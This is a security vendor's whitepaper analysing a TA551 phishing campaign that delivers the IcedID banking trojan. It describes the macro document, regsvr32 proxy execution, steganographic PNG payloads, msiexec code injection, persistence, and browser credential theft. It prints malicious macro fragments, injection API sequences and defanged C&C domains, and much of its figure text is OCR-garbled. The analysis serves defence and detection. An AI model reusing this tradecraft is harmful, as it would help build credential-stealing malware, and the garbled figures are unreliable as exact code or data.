








Bitdefender Whitepaper
New TAB5T Campaign Uses IcelD, Complex Attack Chain to Compromise

Technical Analysis

This research paper focuses on the full chain of compromise, which includes spear phishing documents, signed binary
proxy execution, steganography and code injection.

Initial Access

Like most Advanced Persistent Threats, Shathak favors achieving Initial Access through Spearphishing
Attachments. First, the victim receives an email that does not reveal too much information except for the password
for the archive, but it directs the user’s attention to the attachment. To evade security scanners, the attackers avoid
mentioning in plain text “the attached document,” and the result seems to be generated from an encoding error.
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Fig. 1. Phishing email

In accordance with the information in the body of the mail, the attackers attach an archive that users can extract by
using the given password.
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Fig. 2. Password-protected archive
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We also noticed a pattern in the date used in most of the document titles, such as “inquiry 07.23.2020.doc”, “legislated
07.20.doc”, “order-07.20.doc”, “statistics 07.20.doc” etc.

In the document,we can see an attached image with text claiming that the file was created in a previous version of
Microsoft Office Word and instructs that the victim click the “Enable Editing” and “Enable Content” buttons. This
technique is often used by attackers spreading malicious documents that rely on users’ naivety to trick them.

Fig. 3. Maldoc

Execution Flow

The execution flow, as seen in the diagram below, is as follows:

+ Initial Access: Phishing Email - The victim receives a phishing email that contains a password-protected archive;
inside there is a DOC file;

« Stage 1: Maldoc - After enabling macros, winword.exe downloads the next stage, a DLL file saved with the PDF
extension. Regsvr32.exe is launched to run the DLL;

+ Stage 2: Downloader DLL - Executing the DIIEntryPoint function a PNG image is saved, this image is decrypted into
the IcedID executable;

+ Stage 3: IcedID Executable - IcedID executable, saved with a random name in %TEMP%, downloads an additional
PNG that contains the main IcedID module by making use of steganography techniques;

+ Stage 4: Msiexec Injection - IcedID launches msiexec.exe with a random MSI filename, that does not exists on the
machine but to appear legitimate. Then the IcedID malware injects itself into the msiexec process.
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; steganography PNG

second C&C

Fig. 4. Execution Flow Diagram
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Stage 1: Maldoc
As mentioned in the Initial Access section, attackers have an unusual way of naming the files, with a date in most of
them like “command 07.20.doc”, “particulars,07.23.2020.doc”, “intelligence_07.20.doc”, “bid.07.20.doc” etc.

The team identified other relevant patterns. For example, most of the documents contain three modules with short
randomly generated names.

-5 Modules  —-&5 Modules

- A7 & MR
wan WX &2 Sw
Lwen WX1 & swi

Fig. 5. Maldoc Modules

To gain a foothold on the targeted computer, attackers rely on the execution of the AutoOpen macro that acts as a next
stage launcher. In the case of the first document we analyzed, the next stage downloader DLL was saved as “TT.pdf”,
but there are more instances where it takes the name “Ub.pdf”. In the wild, the DLL can be saved with any short and
random name. The Microsoft 365 Defender Research Team [5] observed the downloader saved with the TXT extension
too.

The macro code contains comments with random English words, but this is not a mistake. From the attacker’s
perspective, this is yet another attempt by the malware to bypass security mechanisms. By including randomly
generated text in the malicious code, a detection based on blacklisting the file hash doesn't work. Instead, security
solutions should use a signature based on carefully selected code features.
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Const b String "TT.pdf™
Function cA{mX
gk = NF({mX)

De = @ UBound(gk)
Chr{gk De

chA

End Function
Sub autoopen()
gT = cA(X)

frm.download gT, b

Dim RM New WshShell

Call RM.run(N & Zw

End Sub

Fig. 6. Macro Code AutoOpen Doc 1
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5tring "Ub. pdf"

g UBound(1z)
op = op & Chr{lz ha
ha
i-op
End Function

Function hF(
End Function

Sub autoopen()
Gf = i(ca)

frm.download Gf, D

Dim jg New WshShell

Call jg.run(hn
End Sub

Fig. 7. Macro Code AutoOpen Doc 2

We can observe a declaration to the URLDownloadToFileA function from urlmon.dll, which is used to download the next
stage payload. Some variable declarations are also contained separately in this module.
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, Byval du

Long, ByVal &W

Fig. 9. Macro Code URLDownloadToFileA Doc 2
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Some functions containing solely random comments are visible alongside the random text contained in useful
methods.

Fig. 10. Macro Code Random Comments 1
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Function Te(Dp)

End Function

Fig. 11. Macro Code Random Comments 2

By inspecting several such documents and taking into account the identical structure, we see it is very likely that
attackers automatically generate these documents. Another similarity across multiple documents, which helped us
expand the investigation, was the URL structure from which the malware downloaded additional payloads. Although
attackers used multiple domains, each time the URL path respected the following pattern: hxxp[:]//<domain>[.]Jcom/
xemcl/iba[.]php?l=<random>[]cab.

4; Trident/7.8; .NET4.8C; .NET4.9E)

Fig. 12. Request path

Stage 2: Downloader DLL
There are quite a few signatures on the dropped DLL at the time of publication, 47 out of 65, some even indicating the
name “lcedID".

4 7 () 47 engines detected this file

082c3702%ae98221ceb74edaiff2cadd66dabb49080ce0343a7446369%ea4b1bd
Special material Value main 83664

pedll

Fig. 13. DLL detections on VT

Saved as “Ub.pdf” or “TT.pdf” in %UserProfile%\Documents, this DLL acts as a second stage downloader. Although it
exports the DIIRegisterServer function, it does not do much. The export is required by regsvr32 to execute the contents
from the DLL.

Exports n

Marne Address Ordinal

|£| DlIRegisterServer 10004A20 1

] Toneplane 10004950 2
DlEntryPoint 100076F0 [main entry]

Fig. 14. DLL Exports
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Therefore, regsvr32.exe executes the malicious code, attaining signed binary proxy execution. The intended actions
take place when executing the DIlEntryPoint.

Once the regsvr32 process is created, , it communicates with well-known websites, such as support[.Joracle[.Jcom,
help[ Jtwitter[.Jcom, support[.Jmicrosoft[.Jcom, intel[.Jcom, support[.]Japple[.Jcom to appear legitimate and to blend rogue
traffic in. But there is a domain that stands out, loadhnichar[.Jco, which happens to be the next stage supplier.

requested UDP 1
request for domain "wy
B84) requested TCP
HTTPListener4
HTTPListener Connection: Keep-Alive
HTTPListener4 www.intel.com
HTTPListener4
equested UDP 1
F ‘support.o

HTTPListener4 Cr i Keep-Alive
HTTPListener ost: support.oracle.com
HTTPListener
equested UDP 1
or domain °

-

HTTPListener
HTTPListener
HTTPListener
Diver
DNS Serv
Diver
HTTPListener y
HTTPListener Connection:
HTTPListener4 : loadhn
HTTPListener
equested UDP 192.1
or domain "help.t

HTTPListener
HTTPListener4 Connection: Keep-Alive
HTTPListener : help.twitter.com

=

HTTPListener
HTTPListener
HTTPListener
HTTPListener
Diverter X requested UDP 1
DNS Server] R i A request for domain wuw.
Diverter] reg . B84) requested TCP
HTTPListener
HTTPListener Connection: Keep-Alive
HTTPListener4 Host: www.intel.com
HTTPListener

or domain ‘support
84) requested TCP

HTTPListener

HTTPListener4

HTTPListener

i equested UDP 1 38
or domain ‘support.apple
.8.2.123
HTTPListener
HTTPListener Connection: Keep-Alive

Fig. 15. Network Communications

Unfortunately, loadhnichar[.Jco was down when our team conducted the analysis. But this second stage will download
the next one as a PNG file and decrypt it to %UserProfile%\AppData\Local\Temp with a name made up of randomly
generated numbers. For example: %UserProfile%\AppData\Local\Temp\~671250696.exe.
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Stage 3: IcedID Executable

This is IcedID, but not in its entirety. The primary malicious code executed is hidden in a PNG image using a technique
called steganography. The executable downloads the image, decrypts the content of the image, loads it and executes
the contained shell code. This malicious code represents its main module. Part of this module contains instructions for
launching msiexec suspended, and then injecting into it.

The file version info appears to be somewhat legitimate.

Property Value

Description
File description  Steel Too Contain Byshout Dream
Type Application

File version 10.8.68.11
Product name  Steel Too Contain ®5teel Too Contain ...
Product version 10.8.68.11

Copyright ® Steel Too Contain Corporation. All righ...
Size 262 KB

Date modfied  10/28/2020 8:24 PM

Language English (Linted States)

Original flename  stor.exe

Fig. 16. IcedID Version Info

To execute the shell code, the malware copies the code byte by byte, then uses the classic VirtualProtect to change the
page protection.

7 = v2 + 63 * v3;
byte 4B7F66 = qword 4B7F7@ - v3 + 100;
| virtualProtect(lpAddress, @x20E4u, @x40u, &7 101dProtect);

byte 4B7F67 = byte 4B7F66 + 63 * v7;
I = sub_4A11A8();

& i i i i

Fig. 17. VirtualProtect call

In an attempt to reduce the number of red flags for an AV or sandbox, it hides its imports by manually loading DLLs at
runtime and finding API addresses using GetProcAddress.

13
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The shell code loads the required DLL. In this case [EBP+10h] points to LoadLibraryExA.

Fig. 18. LoadLibraryEXxA call

debug879:801383DA load libraryexa:
debug@79:881383DA push @
debug@79:8813830C push &
debug@79:881383DE push eax
debug@?9:881383DF call dword ptr [ebp+l@h]
debug@79:881383E2 mov edx, eax

Then, by jumping to this code, calling [EBP+14h], it actually calls GetProcAddress on the desired API.

debug@?79:881383FC get proc_address:
debug@?79:881383FC push edx
debug@®79:881383FD push eax
debug@®79:881383FE push edx
debug@?79:881383FF call dword ptr [ebp+ldh]
debug@?9:88138482 pop edx
debug@79:88138483 stosd

Fig. 19. GetProcAddress call

Firstly, to get information about the victim’s username, it loads advapi32.dll to resolve GetUserNameA.

EAX 76830000 % advapi32.dll:76830000

EBX 0003F000
ECX OOEEQQ00 % "A3A3A°FN3"

EDX OOEEQ000 w "A3A3A°FN3"

ESI00D@31EQ % .text:0ODA31EN

EDI 90DO3000 W .text:00D03000

EBP @09AF7E4 & Stack[000003830]:009AF7E4

ESPOOSAF/DA w»

Fig. 20. AdvApi32.dll loaded

Stack[ 00000380 ] : 009AF7D4

After calling the function at [EBP+10h], the return value in the EAX register shows a successful load of the DLL.

It uses the same technique, same code, to load other DLLs, like winhttp.dll, for example.

EAX 6610000 % winhttp.dll:6(610088
EBX 0003F000

ECXOOEEAOO0 w "AAA°FN3"

EDX @OEFAA00 w» “A*AA°FN3"

ESI 00D03248 % .text:00D03248

EDI @0D03068 % .text:00D03068

EBPO@YAF7E4 & Stack[P0000380]:009AFTEA

Fig. 21. WinHttp.dll loaded
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Using GetProcAddress, resolves various APIs, to communicate via HTTP.

EAX8C633DC8 % winhttp.dll:winhttp WinHttpConnect
\EBX 0093F000

[ECX©@15D7751 % debug849:unk_15D7751

\EDX 00000000

ESI00D03258 % .text:00D0O3258

|EDI 00DO3074 % .text:20D03074

EBPOOOAF7EA W Stack[00000380]:000AF7EA

Fig. 22. winhttp_WinHttpConnect resolved

By statically parsing this file, the team cannot obtain a plain text list of resolved APIs, but if we look at memory content
at runtime, this list is decrypted. Therefore, instead of presenting EAX’s value repeatedly, we can get a list of APIs and
their DLLs by using ProcessHacker to search for strings.

SHGetFolderPatha
SHELL32.dIl
GetlUserMNamed
ADVAPIZZ.dll
WinHttpQueryDataAvaila
WinHttpConnect
WinHttpSetStatusCallbad
WinHttpSendRequest
WinHttpCloseHandle
WinHttpSetOption
WinHttpOpenReguest
WinHttpReadData
WinHtipQueryHeaders
WinHttpOpen
WinHttpReceiveResponse
WINHTTP.dil

HeapFree
GetProcessHeap
ReadFile

WriteFile

CreateFileA
CloseHandle

Heapalloc

GetFileSize

Istriena

lstrcatA
CreateDirectoryA
GetModuleFileMamea
VirtualProtect
VirtualAllioc

Sleep

lstrcpyA

ExitProcess

Fig. 23. In-memory strings

Another visible characteristic, when searching the memory for strings, the same as described by Group IB[6] is the form
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of the request.

fimage [#id="%%0, 2X%0.8X %0.8X Ys

Fig. 24. Request format

When trying to download the main core, the request contains data to help the attacker identify details about the
victim. In the case of our analysis, the request looks like this:

“/image/?id=01A126CDB70137A0CDO000000000FFA0000010",

This numerical value can be interpreted, as the first two hex digits represent a hardcoded value (01). The next eight hex
digits also represent a hardcoded value, but in this case, it's an identifier specific to the downloader. The following eight
hex digits are a timestamp, and the remaining digits contain information about the processor’s vendor ID and the code
execution time[6].

There is an encrypted list of C&Ss stored in the binary. During our dynamic analysis, by running the malware, we
managed to find that it first tries defrostingacademyl.Jbest, then connects successfully to heroimonroy[.]xyz.

e

A

WinHttpOpen [ NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, MULL, MULL, 0) l
WinHttpConnect [ 0x00b17050, "defrostingacademy.best”, INTERNET_DEFAULT_HTTPS_PORT, 0} 0 9
, "GET", “fimage/?id=01A126CDE70137A0CDO000000000FF40000010°, MULL,
273e0, WINHTTP_OPTION_SECURITY_FLAGS, Ox003cf3f8, 4) TRUE
0, NULL, 0, NULL, 0, 0, 0} FALSE

WinHttpOpenRequest [ 0x
WinHttpSetOption ( 0x00b
WinHttpSendReguest |

WinHttpCloseHandle [ 0x00b ] TRUE
WinHttpCloseHandle { 0x00b 0} TRUE
WinHttpCloseHandle ( 0x00b17050 ) TRUE

Fig. 25. Attempting to download from the first C&C

WinHttpOpen [ NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, O)

WinHttp Connect { 0x00b 17050, “heroimonroy.xyz”, INTERMET_DEFAULT_HTTPS_PORT, 0)
WinHttpOpenRequest { 0x00b59900, "GET", “/image/?id=014126CDET0137AOCDO000000000FF40000010°, NULL,
WinHttpSetOption { 0x00 WINHTTP_OFTION_SECURITY_FLAGS, 0x003cf3fE, 4

WinHttpSendRequest [ 0x0 0, NULL, 0, NULL, 0, 0, 0}

WinHttpReceiveResponse | 0, MULL }

, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_MUMBER, NULL, TRUE
, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMEER, N TRUE

WinHttpQueryHeaders ( 0xD
WinHttpQueryHeaders ( 0xD

WinHttpQueryDatatvailable | 0x00b273el, 0x003cf3ec) TRUE
GetProcessHeap [ ) Ox00b 00000
WinHttpReadData ( 0x00b273e0, O00b56d70, 150, Oxd0 TRUE
WinHttpQueryDatatvailable ( TRUE
WinHttpCloseHandle [ 0x00b2 TRUE
WinHttpCloseHandle { Ox00b5%200 ) TRUE

Fig. 26. Successfully connected to the second C&C

As the INTERNET_DEFAULT_HTTPS_PORT suggests, the communication is indeed encrypted. The domain from which
the malware downloads the next stage corresponds to an IP that belongs to a web hosting service company.

Network paths accessed during trace:

Network Time TulalvE\rarrts Connects  Disconn Sends Receives Send B Receiv Other  Path
0.0000000 2 230 2691 636289 0 194 5243 201 hiips

0.0000000 250 4 4 12 230 2691 636289 0 <Total>

Fig. 27. Https Communication
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For this sample, the received file is saved at %UserProfile%\AppData\Roaming\caokimac\ucleac.png.

Fiey accevwed during race;
EyPath By Folder By Extersion
Fi Time. Tetal Everts Opens. Clases. Reads Wres ReadB Wrte B Get ACL Set ACL Other  Path
85 1 1,111,040 gl 0 173
0 1 ] 0 [1]

Fig. 28. Saved image

There are no engines on VT that detect this file.

(¥) No engines detected this file

cc1030c4c7484675295444ach205fa%c9947ad41427b60181d74e
JebfedesfBa?

s deavzuac.png

Py

5 Community of

Scora
Fig. 29. VT detections on the PNG

This is a valid PNG file.

Fig. 32. PNG content

The picture is “visually empty”. PNG files are images that can have transparent pixels. In this case, transparent pixels
make the entire image. The default viewer in Windows chooses to represent them in black, but if we open the same
picture with the default viewer in Ubuntu (Linux distribution), we can confirm that all pixels are transparent because this
viewer shows them in gray.
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Photos - ucleac.png = O *

lafl See all photos

Fig. 33. PNG viewed in Windows

ucleac.png

Fig. 34. PNG viewed in Ubuntu



Bitdefender Whitepaper
New TA551 Campaign Uses IcelD, Complex Attack Chain to Compromise

Stage 4: Msiexec Injection
Once the executable drops the PNG onto the system, it starts msiexec.exe in suspended mode.

debug@75:83448999 lea eax, [ebp-BD2h]
debug@?5:8344899F push eax
debug@75:03448088 lea eax, [ebp-278h]

debug@75:83448946 push eax
debugd?5:83448947 push ebx
debug@?75: 83448948 push ebx
debug@75:83448949 push 4
debug@?75:83448948 push ebx
debug@?75:834489AC push ebx
debug@?75: 83448940 push ebx
debug®75:834480AE lea eax, [ebp-1D8h]
debug@?5:83448964 push eax
debug@75:83448985 push ebx
debug@75: 83448986 call esi

Fig. 35. CreateProcessA call

In the image above, the ESI points to CreateProcessA, and we can easily observe that the value 4 is pushed to the stack,
representing the CREATE_SUSPENDED process creation flag. The command line also becomes visible by analyzing the
stack.

8:808> r $tl = dwo(esp+8)

8:880> db @3tl

@ecffded 43 3a 5c 77 69 6e 64 6f-77 73 5c 73 79 73 74 65 C:\windows\syste
@ecffaf4 od 33 32 5c 6d 73 69 B5-78 65 63 2e 65 78 65 28 m32\msiexec.exe
gecftfsed 2f 69 28 78 b6C 65 62 65-79 2e b6d 73 69 86 @8 @8 /i xlebey.msi...

@@cff5l4 ©4 60 08 @0 68 90 00 46-20 be 2@ 02 6@ 66 @B @@ ....h..@ .......
88cff524 70 60 86 @8 48 f5 cf 26-00 60 O 00 62 B0 86 48 p...H....... b..@
@8cff534 @8 80 de 88 9c f6 cf 88-7c f6 cf 80 ed 1a 83 ea ........ [aeeenns
gecffS44 00 60 90 00 88 18 95 19-09 00 608 88 e7 le 2588 .............. .

Bacff554 Oc £6 cf 80 20 1a 83 £a-03 90 6O 00 B1 66 @8 80  ................
Fig. 36. Command Line for CreateProcessA

The malware supplies a randomly named MSI package via command line parameters to look like a legitimate install.
But the package is not located anywhere in the system; the msiexec process will be used as a victim for code injection.

Description:  Windows® installer Description:  Windows® installer Description:  Windows ® installer

Company:  Microsoft Corporation Company:  Micrasoft Corporation Company:  Microsoft Corporation

Path: C:windows\system32\msiexec.exe Path: C:\windows system32\nsiexec. exe Path: Ci\pindows\system32\msiexec. exe

Command:  C:\windows\system32\msiexec.exe fi vmgaan.msi Command:  C:\windows'system32\msiexec.exe i eixoro.msi Command:  C:\windowslsystem32\msiexec.exe fi gavgww.msi

Fig. 37. Random-named msi packages

To hide its activity behind a signed binary, IcedID uses a combination of APIs, called in the same manner

as CreateProcessA, using register calls, namely: NtAllocateVirtualMemory to allocate memory inside msiexec,
ZwWriteVirtualMemory to copy the shellcode, NtProtectVirtualMemory to enable execute access to the allocated region
and finally NtQueueApcThread to execute the shellcode, creating a new thread inside msiexec.exe.

By setting breakpoints in the debugger, we extracted the shell code from the process’s memory. And there are no
signatures on VT on the buffer.
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_,F) Mo engines detected this file

81efcdb49618221107294absdbed4b2aafb703df
c/7530e635

T shellcode.bin
via-tor

X -\_'.-::|1"|IJ'| by \f

Seora

Fig. 38. Shellcode VT detections

After the control is passed to msiexec.exe, it makes a copy of the executable to %UserProfile%\AppData\
Local\<Username>\ as Tinuwuwo.exe (random name) or at %UserProfile%\AppData\Roaming\<Username>\<Username>\
as Ziahtups.exe (random name) and the original executable is deleted.

Process Mame PID  Operation Path Result

Fig. 39. Executable copy

=  Tinuwuwo.exe (4644) Steel Too Contain Byshout Dream C:hUzerstUserApp Data* Local\User\ Tinuwuwo exe
éifgmm::m (8924) Windows® installer C:\wind 32\msi

= Fahtups.exe (3320) Steel Too Contain Byshout Dream Chlsers'wser? AppData'\Roamingtuserd wser?  Jahtups exe

ﬁifg siexec.exe (7012) Windows® installer Cwindows\system 32\msiexec exe

Fig. 40. Running copies

The method ensures persistence on the system in combination with a scheduled task[7].

(B odemag_{C714D1DC-F758-6482-0C4A-4F684013E793} Properties (Local Computer) >

General Triggers  Actions Conditions Settings History (disabled)

Mame: |od emag_{C714D1DC-F758-6482-0C4A-4FR84013E793}

Location: A\

Author: DESKTOP- GUKGOFE\User

Description: |

Security options
When running the task, use the following user account:

DESKTOP-GUKGOF8\User Change User or Group...
(®) Run only when user is logged on
(O Run whether user is logged on or not

Do not store password. The task will only have access to local computer resources,

[ Run with highest privileges

] Hidden Configure for: | Windows Vista™, Windows Server™ 2008 <

Fig. 41. Scheduled Task
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(B odemag_{C714D1DC-F758-6482-0C4A-4F684013E793} Properties (Local Computer) *

General Triggers Actions Conditions Settings  History (disabled)

When you create a task, you can specify the conditions that will trigger the task.

Trigger Details Status

One time At 12:00 PM on 1/1/2012 - After triggered, repeat every 1 hour indefinitely. Enabled

At log on At log on of DESKTOP-GUKGOF8\User Enabled

< >
New... Edit... Delete

Fig. 42. Scheduled Task Triggers

Impact

Once injected into msiexec.exe, IcedID’s core objective is to steal financial data from browsers. It watches in a loop
with a second sleep period for the targeted processes to be launched, searching for specific names, such as firefox,
iexplore and chrome.

When the victim launches one of the browsers, IcedID creates a local proxy, then hooks browsers APIs such as connect,
SSL_AuthCertificateHook, CertGetCertificateChain and CertVerifyCertificatePolicy and generates its self-signed certificate
in 3TEMP%.[7][8]

Thus, msiexec, containing the IcedID’s payload, achieves full control of the browser, with the ability to extract the
stored passwords and deploy other trojan capabilities: The module awaits commands from its C&C. These include
downloading files from the server, executing them or running arbitrary commands and sending back the result. This
banker’s capabilities are well documented by researchers mentioned in the bibliography [6][7].

Privacy Impact

Due to IcedID’s capabilities, the privacy of infected users may be heavily affected. This malware can steal username
information and passwords from browsers and exfiltrate them to the C&C server. From there, the threat actor may
decide to sell them on the dark web or use them in other malicious efforts.

Loss of credentials may have dire consequences. Attackers could steal money from bank accounts, and other sensitive
data may be acquired and later used for blackmail or defamation. In exceptional cases, it may even lead to full user
digital identity takeover.
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Campaign Distribution

Foremost, IcedID targets mostly US bank customers, but a few cases are outside the US, such as in Canada.
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Fig. 43. Impact

Conclusion

We should note that, since first described by IBM X-Force[9][10] researchers in 2017, the banker Trojan already had
numerous features, such as a proxy server and web injects. It continued to mature as an advanced malware while
improving the infection chain.

Fast-forward to the present, and IcedID carefully compromises the system. The first stage arrives as maldoc inside a
password-protected archive. Instead of simply downloading the next stage, it resolves an API in the malicious macro.
From there, it uses signed binary proxy execution, launching the supplied DLL together with regsvr32.

Instead of hiding behind an image extension, like most malware would do, IcedID uses steganography twice. And
IcedID would not complete its compromise chain if it didn't disguise its main core as a legitimate install. To defend
against IcedID or similar malware, we recommend careful inspection of any document that requires macro activation,
and double-checking of processes that look legitimate, such as regsvr32 or msiexec.
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